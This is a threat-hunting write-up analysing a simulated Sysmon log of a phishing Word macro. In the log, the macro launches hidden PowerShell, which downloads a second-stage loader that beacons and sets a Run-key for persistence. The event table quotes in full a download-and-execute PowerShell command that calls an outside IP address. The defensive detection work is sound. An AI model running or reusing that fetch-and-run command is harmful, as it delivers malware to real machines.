← All Threat Hunting ReportsThreat Hunting Exercise

Threat Hunting Exercise: Analyzing Malicious Office Macro WinWord Child Process Dataset

Returning to endpoint telemetry for one of the oldest and still most common initial-access vectors: a simulated Sysmon dataset (office_macro_winword_child_2022-02-14T103000.json) capturing T1204.002: User Execution - Malicious File and T1059.005: Command and Scripting Interpreter - Visual Basic, where a phishing attachment's VBA macro spawns a living-off-the-land binary chain to download and execute a second-stage payload.

Step 1: Hypothesis Formation

Hypothesis: A user opens a phishing-delivered Word document, enables macros (often via a social-engineering lure image), and the embedded VBA macro spawns cmd.exe/wscript.exe/mshta.exe as a child of WINWORD.EXE - a parent-child relationship that essentially never occurs legitimately - to download and execute a payload. Indicators:

Null Hypothesis: Legitimate macro-enabled business workflow (e.g., a finance macro that shells out to run a batch report). Invalidate via destination reputation of any network connection, obfuscation in the command line, and the specific WINWORD→shell-interpreter parent-child pattern occurring on a document received via external email rather than an internal, known-good template.

Rationale: This is the "beginning of the chain" complement to the ISO/LNK proxy-download hunt earlier in this series - same initial-access goal (user-triggered execution), different delivery mechanism (macro vs. container file), and it demonstrates why the WINWORD-spawns-shell parent-child signature remains one of the highest-value, lowest-false-positive endpoint detections available.

Step 2: Data Sources and Scope

Step 3: Key Findings

Parsed events (9 shown) trace the full macro-to-payload chain, from document open to a second-stage binary executing and establishing C2.

Timestamp (UTC)Event IDChannel/SourceKey DetailsIOC/Why Suspicious?
2022-02-14 10:30:0011 (File Create)SysmonImage=outlook.exe; TargetFilename=C:\Users\mgarcia\AppData\Local\Temp\Q1_Invoice_Details.docm (Mark-of-the-Web set).Attachment saved to disk from email - MOTW present, meaning Protected View should have triggered on open.
2022-02-14 10:30:151 (Proc Create)SysmonImage=WINWORD.EXE; CommandLine="WINWORD.EXE /n C:\Users\mgarcia\...\Q1_Invoice_Details.docm"; User=mgarcia.Document opened; benign so far, but sets up the vulnerable parent process.
2022-02-14 10:30:401 (Proc Create)SysmonImage=cmd.exe; ParentImage=WINWORD.EXE; CommandLine="cmd.exe /c powershell -w hidden -nop -c \"IEX (New-Object Net.WebClient).DownloadString('http://185.220.101.61/p.ps1')\"".Core IOC: WINWORD.EXE spawning cmd.exe spawning hidden PowerShell - the canonical macro-execution fingerprint; Protected View was likely dismissed by the user via a "Enable Content" social-engineering lure.
2022-02-14 10:30:413 (Net Connect)SysmonImage=powershell.exe; DestinationIp=185.220.101.61; DestinationPort=80.Delivery IOC: PowerShell fetches the second-stage script immediately after spawn - no delay, fully automated macro logic.
2022-02-14 10:30:4211 (File Create)SysmonImage=powershell.exe; TargetFilename=C:\Users\mgarcia\AppData\Local\Temp\svchost_update.exe.Second-stage binary dropped to disk under a system-process-mimicking filename.
2022-02-14 10:30:431 (Proc Create)SysmonImage=C:\Users\mgarcia\AppData\Local\Temp\svchost_update.exe; ParentImage=powershell.exe.Execution IOC: Dropped binary executed - likely a loader/RAT (e.g., a QakBot/IcedID-style banking-trojan loader given the macro-delivery pattern).
2022-02-14 10:30:503 (Net Connect)SysmonImage=svchost_update.exe; DestinationIp=185.220.101.61; DestinationPort=443; recurring every ~55s thereafter.C2 IOC: Regular-interval outbound HTTPS from the dropped binary - matches the jittered-beacon pattern from the earlier firewall C2 hunt in this series, now attributed to a specific process.
2022-02-14 10:31:004688 (Proc Create)SecurityNewProcessName=cmd.exe; ParentProcessName=WINWORD.EXE; SubjectUserName=mgarcia; Token: %%1936.Security log corroboration of the initial macro-spawn event, confirming user context.
2022-02-14 10:31:1513 (Reg Set)SysmonImage=svchost_update.exe; sets HKCU\...\Run\WindowsUpdateSvc = "C:\Users\mgarcia\...\svchost_update.exe".Persistence IOC: Dropped binary establishes Run-key persistence - same technique family as the earlier Empire Run-key hunt, now via a macro-delivered commodity loader rather than a manual C2 framework.

Validation:

Step 4: Recommendations & Next Steps

Hypothesis confirmed - phishing macro leading to a persistent, beaconing commodity loader! The WINWORD-spawns-shell fingerprint made initial detection trivial; the real value was tracing forward to persistence and correlating the C2 infrastructure with an earlier hunt in this series.